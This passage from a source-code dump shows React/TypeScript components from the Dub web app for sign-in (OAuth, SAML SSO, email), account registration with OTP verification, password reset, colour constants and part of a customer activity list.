    "content": "import { Button, Github } from \"@dub/ui\";\nimport { signIn } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useContext } from \"react\";\nimport { LoginFormContext } from \"./login-form\";\n\nexport const GitHubButton = () => {\n  const searchParams = useSearchParams();\n  const next = searchParams?.get(\"next\");\n\n  const { setClickedMethod, clickedMethod, setLastUsedAuthMethod } =\n    useContext(LoginFormContext);\n\n  return (\n    <Button\n      text=\"Continue with GitHub\"\n      variant=\"secondary\"\n      onClick={() => {\n        setClickedMethod(\"github\");\n        setLastUsedAuthMethod(\"github\");\n        signIn(\"github\", {\n          ...(next && next.length > 0 ? { callbackUrl: next } : {}),\n        });\n      }}\n      loading={clickedMethod === \"github\"}\n      disabled={clickedMethod && clickedMethod !== \"github\"}\n      icon={<Github className=\"size-4 text-black\" />}\n    />\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/login/google-button.tsx",
    "content": "import { Button } from \"@dub/ui\";\nimport { Google } from \"@dub/ui/icons\";\nimport { signIn } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useContext } from \"react\";\nimport { LoginFormContext } from \"./login-form\";\n\nexport function GoogleButton({ next }: { next?: string }) {\n  const searchParams = useSearchParams();\n  const finalNext = next ?? searchParams?.get(\"next\");\n\n  const { setClickedMethod, clickedMethod, setLastUsedAuthMethod } =\n    useContext(LoginFormContext);\n\n  return (\n    <Button\n      text=\"Continue with Google\"\n      variant=\"secondary\"\n      onClick={() => {\n        setClickedMethod(\"google\");\n        setLastUsedAuthMethod(\"google\");\n        signIn(\"google\", {\n          ...(finalNext && finalNext.length > 0\n            ? { callbackUrl: finalNext }\n            : {}),\n        });\n      }}\n      loading={clickedMethod === \"google\"}\n      disabled={clickedMethod && clickedMethod !== \"google\"}\n      icon={<Google className=\"size-4\" />}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/auth/login/login-form.tsx",
    "content": "\"use client\";\n\nimport { AnimatedSizeContainer, Button, useLocalStorage } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  ComponentType,\n  Dispatch,\n  SetStateAction,\n  createContext,\n  useEffect,\n  useRef,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { AuthMethodsSeparator } from \"../auth-methods-separator\";\nimport { EmailSignIn } from \"./email-sign-in\";\nimport { GitHubButton } from \"./github-button\";\nimport { GoogleButton } from \"./google-button\";\nimport { SSOSignIn } from \"./sso-sign-in\";\n\nexport const authMethods = [\n  \"google\",\n  \"github\",\n  \"email\",\n  \"saml\",\n  \"password\",\n] as const;\n\nexport type AuthMethod = (typeof authMethods)[number];\n\nexport const errorCodes = {\n  \"no-credentials\": \"Please provide an email and password.\",\n  \"invalid-credentials\": \"Email or password is incorrect.\",\n  \"exceeded-login-attempts\":\n    \"Account has been locked due to too many login attempts. Please contact support to unlock your account.\",\n  \"too-many-login-attempts\": \"Too many login attempts. Please try again later.\",\n  \"email-not-verified\": \"Please verify your email address.\",\n  \"framer-account-linking-not-allowed\":\n    \"It looks like you already have an account with us. Please sign in with your Framer account email instead.\",\n  \"require-saml-sso\":\n    \"Your organization requires authentication through your company's identity provider.\",\n  Callback:\n    \"We encountered an issue processing your request. Please try again or contact support if the problem persists.\",\n  OAuthSignin:\n    \"There was an issue signing you in. Please ensure your provider settings are correct.\",\n  OAuthCallback:\n    \"We faced a problem while processing the response from the OAuth provider. Please try again.\",\n};\n\nexport const LoginFormContext = createContext<{\n  authMethod: AuthMethod | undefined;\n  setAuthMethod: Dispatch<SetStateAction<AuthMethod | undefined>>;\n  clickedMethod: AuthMethod | undefined;\n  showPasswordField: boolean;\n  showSSOOption: boolean;\n  setShowPasswordField: Dispatch<SetStateAction<boolean>>;\n  setClickedMethod: Dispatch<SetStateAction<AuthMethod | undefined>>;\n  setLastUsedAuthMethod: Dispatch<SetStateAction<AuthMethod | undefined>>;\n  setShowSSOOption: Dispatch<SetStateAction<boolean>>;\n}>({\n  authMethod: undefined,\n  setAuthMethod: () => {},\n  clickedMethod: undefined,\n  showPasswordField: false,\n  showSSOOption: false,\n  setShowPasswordField: () => {},\n  setClickedMethod: () => {},\n  setLastUsedAuthMethod: () => {},\n  setShowSSOOption: () => {},\n});\n\nexport default function LoginForm({\n  methods = [...authMethods],\n  next,\n}: {\n  methods?: AuthMethod[];\n  next?: string;\n}) {\n  const searchParams = useSearchParams();\n  const [showPasswordField, setShowPasswordField] = useState(false);\n  const [showSSOOption, setShowSSOOption] = useState(false);\n  const [clickedMethod, setClickedMethod] = useState<AuthMethod | undefined>(\n    undefined,\n  );\n\n  const [lastUsedAuthMethodLive, setLastUsedAuthMethod] = useLocalStorage<\n    AuthMethod | undefined\n  >(\"last-used-auth-method\", undefined);\n  const { current: lastUsedAuthMethod } = useRef<AuthMethod | undefined>(\n    lastUsedAuthMethodLive,\n  );\n\n  const [authMethod, setAuthMethod] = useState<AuthMethod | undefined>(\n    authMethods.find((m) => m === lastUsedAuthMethodLive) ?? \"email\",\n  );\n\n  useEffect(() => {\n    const error = searchParams?.get(\"error\");\n    if (error) {\n      toast.error(\n        errorCodes[error] ||\n          \"An unexpected error occurred. Please try again later.\",\n      );\n    }\n  }, [searchParams]);\n\n  // Reset the state when leaving the page\n  useEffect(() => () => setClickedMethod(undefined), []);\n\n  const authProviders: {\n    method: AuthMethod;\n    component: ComponentType;\n    props?: Record<string, unknown>;\n  }[] = [\n    {\n      method: \"google\",\n      component: GoogleButton,\n      props: { next },\n    },\n    {\n      method: \"github\",\n      component: GitHubButton,\n    },\n    {\n      method: \"email\",\n      component: EmailSignIn,\n      props: { next },\n    },\n    {\n      method: \"saml\",\n      component: SSOSignIn,\n    },\n  ];\n\n  const currentAuthProvider = authProviders.find(\n    (provider) => provider.method === authMethod,\n  );\n\n  const AuthMethodComponent = currentAuthProvider?.component;\n\n  const showEmailPasswordOnly = authMethod === \"email\" && showPasswordField;\n\n  return (\n    <LoginFormContext.Provider\n      value={{\n        authMethod,\n        setAuthMethod,\n        clickedMethod,\n        showPasswordField,\n        showSSOOption,\n        setShowPasswordField,\n        setClickedMethod,\n        setLastUsedAuthMethod,\n        setShowSSOOption,\n      }}\n    >\n      <div className=\"flex flex-col gap-3\">\n        <AnimatedSizeContainer height>\n          <div className=\"flex flex-col gap-3 p-1\">\n            {authMethod && (\n              <div className=\"flex flex-col gap-3\">\n                {AuthMethodComponent && (\n                  <AuthMethodComponent {...currentAuthProvider?.props} />\n                )}\n\n                {!showEmailPasswordOnly &&\n                  authMethod === lastUsedAuthMethod && (\n                    <div className=\"text-center text-xs\">\n                      <span className=\"text-neutral-500\">\n                        You signed in with{\" \"}\n                        {lastUsedAuthMethod.charAt(0).toUpperCase() +\n                          lastUsedAuthMethod.slice(1)}{\" \"}\n                        last time\n                      </span>\n                    </div>\n                  )}\n                <AuthMethodsSeparator />\n              </div>\n            )}\n\n            {showEmailPasswordOnly ? (\n              <div className=\"mt-2\">\n                <Button\n                  variant=\"secondary\"\n                  onClick={() => setShowPasswordField(false)}\n                  text=\"Continue with another method\"\n                />\n              </div>\n            ) : (\n              authProviders\n                .filter(\n                  (provider) =>\n                    provider.method !== authMethod &&\n                    methods.includes(provider.method),\n                )\n                .map((provider) => (\n                  <div key={provider.method}>\n                    <provider.component />\n                  </div>\n                ))\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n    </LoginFormContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/auth/login/sso-sign-in.tsx",
    "content": "\"use client\";\n\nimport { Button, InfoTooltip, useMediaQuery } from \"@dub/ui\";\nimport { Lock } from \"lucide-react\";\nimport { signIn } from \"next-auth/react\";\nimport { useContext } from \"react\";\nimport { toast } from \"sonner\";\nimport { LoginFormContext } from \"./login-form\";\n\nexport const SSOSignIn = () => {\n  const { isMobile } = useMediaQuery();\n\n  const {\n    setClickedMethod,\n    clickedMethod,\n    authMethod,\n    setLastUsedAuthMethod,\n    setShowSSOOption,\n    showSSOOption,\n  } = useContext(LoginFormContext);\n\n  return (\n    <form\n      onSubmit={async (e) => {\n        e.preventDefault();\n        setClickedMethod(\"saml\");\n        fetch(\"/api/auth/saml/verify\", {\n          method: \"POST\",\n          body: JSON.stringify({ slug: e.currentTarget.slug.value }),\n        }).then(async (res) => {\n          const { data, error } = await res.json();\n          if (error) {\n            toast.error(error);\n            setClickedMethod(undefined);\n            return;\n          }\n          setLastUsedAuthMethod(\"saml\");\n          await signIn(\"saml\", undefined, {\n            tenant: data.workspaceId,\n            product: \"Dub\",\n          });\n        });\n      }}\n      className=\"flex flex-col space-y-3\"\n    >\n      {showSSOOption && (\n        <div>\n          {authMethod !== \"saml\" && (\n            <div className=\"mb-4 mt-1 border-t border-neutral-300\" />\n          )}\n          <div className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Workspace Slug\n            </h2>\n            <InfoTooltip\n              content={`This is your workspace's unique identifier on ${process.env.NEXT_PUBLIC_APP_NAME}. E.g. app.dub.co/acme is \"acme\".`}\n            />\n          </div>\n          <input\n            id=\"slug\"\n            name=\"slug\"\n            autoFocus={!isMobile}\n            type=\"text\"\n            placeholder=\"my-team\"\n            autoComplete=\"off\"\n            required\n            className=\"mt-1 block w-full appearance-none rounded-md border border-neutral-300 px-3 py-2 placeholder-neutral-400 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\"\n          />\n        </div>\n      )}\n\n      <Button\n        text=\"Continue with SAML SSO\"\n        variant=\"secondary\"\n        icon={<Lock className=\"size-4\" />}\n        {...(!showSSOOption && {\n          type: \"button\",\n          onClick: (e) => {\n            e.preventDefault();\n            setShowSSOOption(true);\n          },\n        })}\n        loading={clickedMethod === \"saml\"}\n        disabled={clickedMethod && clickedMethod !== \"saml\"}\n      />\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/register/context.tsx",
    "content": "\"use client\";\n\nimport React, {\n  createContext,\n  PropsWithChildren,\n  useContext,\n  useState,\n} from \"react\";\n\ninterface RegisterContextType {\n  email: string;\n  password: string;\n  step: \"signup\" | \"verify\";\n  setEmail: (email: string) => void;\n  setPassword: (password: string) => void;\n  setStep: (step: \"signup\" | \"verify\") => void;\n  lockEmail?: boolean;\n}\n\nconst RegisterContext = createContext<RegisterContextType | undefined>(\n  undefined,\n);\n\nexport const RegisterProvider: React.FC<\n  PropsWithChildren<{ email?: string; lockEmail?: boolean }>\n> = ({ email: emailProp, lockEmail, children }) => {\n  const [email, setEmail] = useState(emailProp ?? \"\");\n  const [password, setPassword] = useState(\"\");\n  const [step, setStep] = useState<\"signup\" | \"verify\">(\"signup\");\n\n  return (\n    <RegisterContext.Provider\n      value={{\n        email,\n        password,\n        step,\n        setEmail,\n        setPassword,\n        setStep,\n        lockEmail,\n      }}\n    >\n      {children}\n    </RegisterContext.Provider>\n  );\n};\n\nexport const useRegisterContext = () => {\n  const context = useContext(RegisterContext);\n\n  if (context === undefined) {\n    throw new Error(\n      \"useRegisterContext must be used within a RegisterProvider\",\n    );\n  }\n\n  return context;\n};\n"
  },
  {
    "path": "apps/web/ui/auth/register/resend-otp.tsx",
    "content": "\"use client\";\n\nimport { sendOtpAction } from \"@/lib/actions/send-otp\";\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useState } from \"react\";\n\nexport const ResendOtp = ({ email }: { email: string }) => {\n  const [delaySeconds, setDelaySeconds] = useState(0);\n  const [state, setState] = useState<\"default\" | \"success\" | \"error\">(\n    \"default\",\n  );\n\n  const { executeAsync, isPending } = useAction(sendOtpAction, {\n    onSuccess: () => setState(\"success\"),\n    onError: () => setState(\"error\"),\n  });\n\n  useEffect(() => {\n    if (state === \"success\") {\n      setDelaySeconds(60);\n    } else if (state === \"error\") {\n      setDelaySeconds(5);\n    }\n  }, [state]);\n\n  useEffect(() => {\n    if (delaySeconds > 0) {\n      const interval = setInterval(\n        () => setDelaySeconds(delaySeconds - 1),\n        1000,\n      );\n\n      return () => clearInterval(interval);\n    } else {\n      setState(\"default\");\n    }\n  }, [delaySeconds]);\n\n  return (\n    <div className=\"relative mt-4 text-center text-sm font-medium text-neutral-500\">\n      {state === \"default\" && (\n        <>\n          {isPending && (\n            <div className=\"absolute left-0 top-1/2 -translate-x-full -translate-y-1/2 pr-1.5\">\n              <LoadingSpinner className=\"h-3 w-3\" />\n            </div>\n          )}\n\n          <p className={cn(isPending && \"opacity-80\")}>\n            Didn't receive a code?{\" \"}\n            <button\n              onClick={() => executeAsync({ email })}\n              className={cn(\n                \"font-semibold text-neutral-700 transition-colors hover:text-neutral-900\",\n                isPending && \"pointer-events-none\",\n              )}\n            >\n              Resend\n            </button>\n          </p>\n        </>\n      )}\n\n      {state === \"success\" && (\n        <p className=\"text-sm text-neutral-500\">\n          Code sent successfully. <Delay seconds={delaySeconds} />\n        </p>\n      )}\n\n      {state === \"error\" && (\n        <p className=\"text-sm text-neutral-500\">\n          Failed to send code. <Delay seconds={delaySeconds} />\n        </p>\n      )}\n    </div>\n  );\n};\n\nconst Delay = ({ seconds }: { seconds: number }) => {\n  return (\n    <span className=\"ml-1 text-sm tabular-nums text-neutral-400\">\n      {seconds}s\n    </span>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/register/signup-email.tsx",
    "content": "\"use client\";\n\nimport { sendOtpAction } from \"@/lib/actions/send-otp\";\nimport { signUpSchema } from \"@/lib/zod/schemas/auth\";\nimport { PasswordRequirements } from \"@/ui/shared/password-requirements\";\nimport { Button, Input, useMediaQuery } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { FormEvent, useCallback, useState } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { useRegisterContext } from \"./context\";\n\ntype SignUpProps = z.infer<typeof signUpSchema>;\n\nexport const SignUpEmail = () => {\n  const { isMobile } = useMediaQuery();\n\n  const { setStep, setEmail, setPassword, email, lockEmail } =\n    useRegisterContext();\n\n  const [showPassword, setShowPassword] = useState(false);\n\n  const form = useForm<SignUpProps>({\n    defaultValues: {\n      email,\n    },\n  });\n\n  const {\n    register,\n    handleSubmit,\n    formState: { errors },\n    getValues,\n  } = form;\n\n  const { executeAsync, isPending } = useAction(sendOtpAction, {\n    onSuccess: () => {\n      setEmail(getValues(\"email\"));\n      setPassword(getValues(\"password\"));\n      setStep(\"verify\");\n    },\n    onError: ({ error }) => {\n      toast.error(\n        error.serverError ||\n          error.validationErrors?.email?.[0] ||\n          error.validationErrors?.password?.[0],\n      );\n    },\n  });\n\n  const onSubmit = useCallback(\n    (e: FormEvent) => {\n      const { email, password } = getValues();\n\n      if (email && !password && !showPassword) {\n        e.preventDefault();\n        e.stopPropagation();\n        setShowPassword(true);\n        return;\n      }\n\n      handleSubmit(async (data) => await executeAsync(data))(e);\n    },\n    [getValues, showPassword, handleSubmit, executeAsync],\n  );\n\n  return (\n    <form onSubmit={onSubmit}>\n      <div className=\"flex flex-col gap-y-6\">\n        <label>\n          <span className=\"text-content-emphasis mb-2 block text-sm font-medium leading-none\">\n            Email\n          </span>\n          <Input\n            type=\"email\"\n            placeholder=\"panic@thedis.co\"\n            autoComplete=\"email\"\n            required\n            readOnly={!errors.email && lockEmail}\n            autoFocus={!isMobile && !showPassword && !lockEmail}\n            {...register(\"email\")}\n            error={errors.email?.message}\n          />\n        </label>\n        {showPassword && (\n          <label>\n            <span className=\"text-content-emphasis mb-2 block text-sm font-medium leading-none\">\n              Password\n            </span>\n            <Input\n              type=\"password\"\n              required\n              autoFocus={!isMobile}\n              {...register(\"password\")}\n              error={errors.password?.message}\n              minLength={8}\n            />\n            <FormProvider {...form}>\n              <PasswordRequirements />\n            </FormProvider>\n          </label>\n        )}\n        <Button\n          type=\"submit\"\n          text={isPending ? \"Submitting...\" : \"Sign Up\"}\n          disabled={isPending}\n          loading={isPending}\n        />\n      </div>\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/register/signup-form.tsx",
    "content": "\"use client\";\n\nimport { AnimatedSizeContainer } from \"@dub/ui\";\nimport { AuthMethodsSeparator } from \"../auth-methods-separator\";\nimport { SignUpEmail } from \"./signup-email\";\nimport { SignUpOAuth } from \"./signup-oauth\";\n\nexport const SignUpForm = ({\n  methods = [\"email\", \"google\", \"github\"],\n}: {\n  methods?: (\"email\" | \"google\" | \"github\")[];\n}) => {\n  return (\n    <AnimatedSizeContainer height>\n      <div className=\"flex flex-col gap-3 p-1\">\n        {methods.includes(\"email\") && <SignUpEmail />}\n        {methods.length && <AuthMethodsSeparator />}\n        <SignUpOAuth methods={methods} />\n      </div>\n    </AnimatedSizeContainer>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/register/signup-oauth.tsx",
    "content": "\"use client\";\n\nimport { getValidInternalRedirectPath } from \"@/lib/middleware/utils/is-valid-internal-redirect\";\nimport { Button, Github, Google } from \"@dub/ui\";\nimport { signIn } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useEffect, useState } from \"react\";\n\nexport const SignUpOAuth = ({\n  methods,\n}: {\n  methods: (\"email\" | \"google\" | \"github\")[];\n}) => {\n  const searchParams = useSearchParams();\n  const next = getValidInternalRedirectPath({\n    redirectPath: searchParams.get(\"next\"),\n    currentUrl: window.location.href,\n  });\n  const [clickedGoogle, setClickedGoogle] = useState(false);\n  const [clickedGithub, setClickedGithub] = useState(false);\n\n  useEffect(() => {\n    // when leave page, reset state\n    return () => {\n      setClickedGoogle(false);\n      setClickedGithub(false);\n    };\n  }, []);\n\n  return (\n    <>\n      {methods.includes(\"google\") && (\n        <Button\n          variant=\"secondary\"\n          text=\"Continue with Google\"\n          onClick={() => {\n            setClickedGoogle(true);\n            signIn(\"google\", {\n              ...(next && next.length > 0 ? { callbackUrl: next } : {}),\n            });\n          }}\n          loading={clickedGoogle}\n          icon={<Google className=\"h-4 w-4\" />}\n        />\n      )}\n      {methods.includes(\"github\") && (\n        <Button\n          variant=\"secondary\"\n          text=\"Continue with GitHub\"\n          onClick={() => {\n            setClickedGithub(true);\n            signIn(\"github\", {\n              ...(next && next.length > 0 ? { callbackUrl: next } : {}),\n            });\n          }}\n          loading={clickedGithub}\n          icon={<Github className=\"h-4 w-4\" />}\n        />\n      )}\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/register/verify-email-form.tsx",
    "content": "\"use client\";\n\nimport { createUserAccountAction } from \"@/lib/actions/create-user-account\";\nimport { getValidInternalRedirectPath } from \"@/lib/middleware/utils/is-valid-internal-redirect\";\nimport { AnimatedSizeContainer, Button, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { OTPInput } from \"input-otp\";\nimport { signIn } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useRegisterContext } from \"./context\";\nimport { ResendOtp } from \"./resend-otp\";\n\nexport const VerifyEmailForm = () => {\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const { isMobile } = useMediaQuery();\n  const [code, setCode] = useState(\"\");\n  const { email, password } = useRegisterContext();\n  const [isInvalidCode, setIsInvalidCode] = useState(false);\n  const [isRedirecting, setIsRedirecting] = useState(false);\n\n  const { executeAsync, isPending } = useAction(createUserAccountAction, {\n    async onSuccess() {\n      toast.success(\"Account created! Redirecting to dashboard...\");\n      setIsRedirecting(true);\n\n      const response = await signIn(\"credentials\", {\n        email,\n        password,\n        redirect: false,\n      });\n\n      // preserve the next query param if present (and valid)\n      const next = getValidInternalRedirectPath({\n        redirectPath: searchParams.get(\"next\"),\n        currentUrl: window.location.href,\n      });\n\n      if (response?.ok) {\n        router.push(\n          `/onboarding${next ? `?next=${encodeURIComponent(next)}` : \"\"}`,\n        );\n      } else {\n        toast.error(\n          \"Failed to sign in with credentials. Please try again or contact support.\",\n        );\n      }\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n      setCode(\"\");\n      setIsInvalidCode(true);\n    },\n  });\n\n  if (!email || !password) {\n    router.push(\"/register\");\n    return;\n  }\n\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <form\n        onSubmit={(e) => {\n          e.preventDefault();\n          executeAsync({ email, password, code });\n        }}\n      >\n        <div>\n          <OTPInput\n            maxLength={6}\n            value={code}\n            onChange={(code) => {\n              setIsInvalidCode(false);\n              setCode(code);\n            }}\n            autoFocus={!isMobile}\n            render={({ slots }) => (\n              <div className=\"flex w-full items-center justify-between\">\n                {slots.map(({ char, isActive, hasFakeCaret }, idx) => (\n                  <div\n                    key={idx}\n                    className={cn(\n                      \"relative flex h-14 w-12 items-center justify-center text-xl\",\n                      \"rounded-lg border border-neutral-200 bg-white ring-0 transition-all\",\n                      isActive &&\n                        \"z-10 border border-neutral-800 ring-2 ring-neutral-200\",\n                      isInvalidCode && \"border-red-500 ring-red-200\",\n                    )}\n                  >\n                    {char}\n                    {hasFakeCaret && (\n                      <div className=\"animate-caret-blink pointer-events-none absolute inset-0 flex items-center justify-center\">\n                        <div className=\"h-5 w-px bg-black\" />\n                      </div>\n                    )}\n                  </div>\n                ))}\n              </div>\n            )}\n            onComplete={() => {\n              executeAsync({ email, password, code });\n            }}\n          />\n          <AnimatedSizeContainer height>\n            {isInvalidCode && (\n              <p className=\"pt-3 text-center text-xs font-medium text-red-500\">\n                Invalid code. Please try again.\n              </p>\n            )}\n          </AnimatedSizeContainer>\n\n          <Button\n            className=\"mt-8\"\n            text={isPending ? \"Verifying...\" : \"Continue\"}\n            type=\"submit\"\n            loading={isPending || isRedirecting}\n            disabled={!code || code.length < 6}\n          />\n        </div>\n      </form>\n\n      <ResendOtp email={email} />\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/auth/reset-password-form.tsx",
    "content": "\"use client\";\n\nimport { resetPasswordSchema } from \"@/lib/zod/schemas/auth\";\nimport { Button, Input } from \"@dub/ui\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { PasswordRequirements } from \"../shared/password-requirements\";\n\nexport const ResetPasswordForm = () => {\n  const router = useRouter();\n  const { token } = useParams<{ token: string }>();\n\n  const form = useForm<z.infer<typeof resetPasswordSchema>>();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { errors, isSubmitting },\n  } = form;\n\n  const onSubmit = handleSubmit(async (data) => {\n    try {\n      const response = await fetch(\"/api/auth/reset-password\", {\n        method: \"POST\",\n        body: JSON.stringify(data),\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      toast.success(\n        \"Your password has been reset. You can now log in with your new password.\",\n      );\n      router.replace(\"/login\");\n    } catch (error) {\n      toast.error(error.message);\n    }\n  });\n\n  return (\n    <>\n      <form className=\"flex w-full flex-col gap-6\" onSubmit={onSubmit}>\n        <input type=\"hidden\" value={token} {...register(\"token\")} />\n\n        <label>\n          <span className=\"text-content-emphasis mb-2 block text-sm font-medium leading-none\">\n            Password\n          </span>\n          <Input\n            type=\"password\"\n            {...register(\"password\")}\n            required\n            autoComplete=\"new-password\"\n          />\n          <FormProvider {...form}>\n            <PasswordRequirements />\n          </FormProvider>\n        </label>\n\n        <label>\n          <span className=\"text-content-emphasis mb-2 block text-sm font-medium leading-none\">\n            Confirm password\n          </span>\n          <Input\n            type=\"password\"\n            {...register(\"confirmPassword\")}\n            required\n            autoComplete=\"new-password\"\n          />\n          {errors.confirmPassword && (\n            <span\n              className=\"block text-sm text-red-500\"\n              role=\"alert\"\n              aria-live=\"assertive\"\n            >\n              {errors.confirmPassword.message}\n            </span>\n          )}\n        </label>\n\n        <Button\n          text=\"Reset Password\"\n          type=\"submit\"\n          loading={isSubmitting}\n          disabled={isSubmitting}\n        />\n      </form>\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/colors.ts",
    "content": "import { ResourceColorsEnum } from \"../lib/types\";\n\nexport const RESOURCE_COLORS_DATA = [\n  {\n    color: \"red\",\n    tagVariants: \"bg-red-100 text-red-600\",\n    groupVariants: \"bg-red-600\",\n  },\n  {\n    color: \"yellow\",\n    tagVariants: \"bg-yellow-100 text-yellow-600\",\n    groupVariants: \"bg-yellow-600\",\n  },\n  {\n    color: \"green\",\n    tagVariants: \"bg-green-100 text-green-600\",\n    groupVariants: \"bg-green-600\",\n  },\n  {\n    color: \"blue\",\n    tagVariants: \"bg-blue-100 text-blue-600\",\n    groupVariants: \"bg-blue-600\",\n  },\n  {\n    color: \"purple\",\n    tagVariants: \"bg-purple-100 text-purple-600\",\n    groupVariants: \"bg-purple-600\",\n  },\n  {\n    color: \"brown\",\n    tagVariants: \"bg-brown-100 text-brown-600\",\n    groupVariants: \"bg-brown-600\",\n  },\n  {\n    color: \"gray\",\n    tagVariants: \"bg-gray-100 text-gray-600\",\n    groupVariants: \"bg-gray-600\",\n  },\n] as const;\n\nexport const RESOURCE_COLORS = RESOURCE_COLORS_DATA.map(\n  (color) => color.color,\n) as [string, ...string[]];\n\nexport const getResourceColorData = (color: ResourceColorsEnum) => {\n  return RESOURCE_COLORS_DATA.find((c) => c.color === color);\n};\n\nexport const RAINBOW_CONIC_GRADIENT =\n  \"conic-gradient(in hsl, #ee535d 0deg, #e9d988 90deg, #9fe0b8 180deg, #bf87e4 270deg, #ee535d 360deg)\";\n"
  },
  {
    "path": "apps/web/ui/customers/customer-activity-list.tsx",
    "content": "import { CustomerActivityResponse } from \"@/lib/types\";\nimport { DynamicTooltipWrapper, LinkLogo, TimestampTooltip } from \"@dub/ui\";\nimport { CursorRays, MoneyBill2, UserCheck } from \"@dub/ui/icons\";\nimport { formatDateTimeSmart, getApexDomain, getPrettyUrl } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { MetadataViewer } from \"../analytics/events/metadata-viewer\";\n\nconst activityData = {\n  click: {\n    icon: CursorRays,\n    content: (event) => {\n      const { slug, programSlug } = useParams();\n\n      const analyticsBaseUrl = programSlug\n        ? `/programs/${programSlug}/analytics`\n        : `/${slug}/analytics`;\n\n      const referer =\n        !event.click?.referer || event.click.referer === \"(direct)\"\n          ? \"direct\"\n          : event.click.referer;\n      const refererUrl = event.click.refererUrl;\n\n      return (\n        <span className=\"flex items-center gap-1.5 [&>*]:min-w-0 [&>*]:truncate\">\n          Found{\" \"}\n          <Link\n            href={\n              programSlug\n                ? `${analyticsBaseUrl}?linkId=${event.link.id}`\n                : `/${slug}/links/${getPrettyUrl(event.link.shortLink)}`\n            }\n            target=\"_blank\"\n            className=\"flex items-center gap-2 rounded-md bg-neutral-100 px-1.5 py-1 font-mono text-xs leading-none transition-colors hover:bg-neutral-200/80\"\n          >\n            <LinkLogo\n              className=\"size-3 shrink-0 sm:size-3\"\n              apexDomain={getApexDomain(event.click.url)}\n            />\n            <span className=\"min-w-0 truncate\">\n              {getPrettyUrl(event.link.shortLink)}\n            </span>\n          </Link>\n          via\n          <DynamicTooltipWrapper\n            tooltipProps={\n              refererUrl && refererUrl != \"(direct)\"\n                ? {\n                    content: (\n                      <div className=\"max-w-xs px-4 py-2 text-center text-sm text-neutral-600\">\n                        Referrer URL:{\" \"}\n                        <Link\n                          href={`${analyticsBaseUrl}?refererUrl=${refererUrl}`}\n                          target=\"_blank\"\n                          className=\"cursor-alias text-neutral-500 decoration-dotted underline-offset-2 transition-colors hover:text-neutral-950 hover:underline\"\n                        >\n                          {getPrettyUrl(refererUrl)}\n                        </Link>\n                      </div>\n                    ),\n                  }\n                : undefined\n            }\n          >\n            <div>\n              <Link\n                href={`${analyticsBaseUrl}?referer=${referer === \"direct\" ? \"(direct)\" : referer}`}\n                target=\"_blank\"\n                className=\"flex items-center gap-2 rounded-md bg-neutral-100 px-1.5 py-1 font-mono text-xs leading-none transition-colors hover:bg-neutral-200/80\"\n              >\n                <LinkLogo\n                  className=\"size-3 shrink-0 sm:size-3\"\n                  apexDomain={referer === \"direct\" ? undefined : referer}\n                />\n                <span className=\"min-w-0 truncate\">{referer}</span>\n              </Link>\n            </div>\n          </DynamicTooltipWrapper>\n        </span>\n      );\n    },\n  },\n\n  lead: {\n    icon: UserCheck,\n    content: (event) => {\n      return (\n        <div className=\"flex flex-col gap-1\">\n          <span>{event.eventName || \"New lead\"}</span>\n          {event.metadata && <MetadataViewer metadata={event.metadata} />}\n        </div>\n      );\n    },\n  },\n\n  sale: {\n    icon: MoneyBill2,\n    content: (event) => {\n      return (\n        <div className=\"flex flex-col gap-1\">\n          <span>{event.eventName || \"New sale\"}</span>\n          {event.metadata && <MetadataViewer metadata={event.metadata} />}\n        </div>\n      );\n    },\n  },\n};\n\nexport function CustomerActivityList({\n  activity,\n  isLoading,\n}: {\n  activity?: CustomerActivityResponse;\n  isLoading: boolean;\n}) {\n  return isLoading ? (\n    <div className=\"flex h-32 w-full animate-pulse rounded-lg border border-transparent bg-neutral-100\" />\n  ) : !activity?.events?.length ? (\n    <div className=\"flex h-32 w-full items-center justify-center rounded-lg border border-neutral-200 text-xs text-neutral-500\">\n      {activity?.events ? \"No activity yet\" : \"Failed to load activity\"}\n    </div>\n  ) : (\n    <ul className=\"flex flex-col gap-5 text-sm\">\n      {activity.events.map((event, index, events) => {\n        const isLast = index === events.length - 1;\n        const { icon: Icon, content } = activityData[event.event];\n\n        return (\n          <li key={index} className=\"flex items-start gap-2\">\n            <div 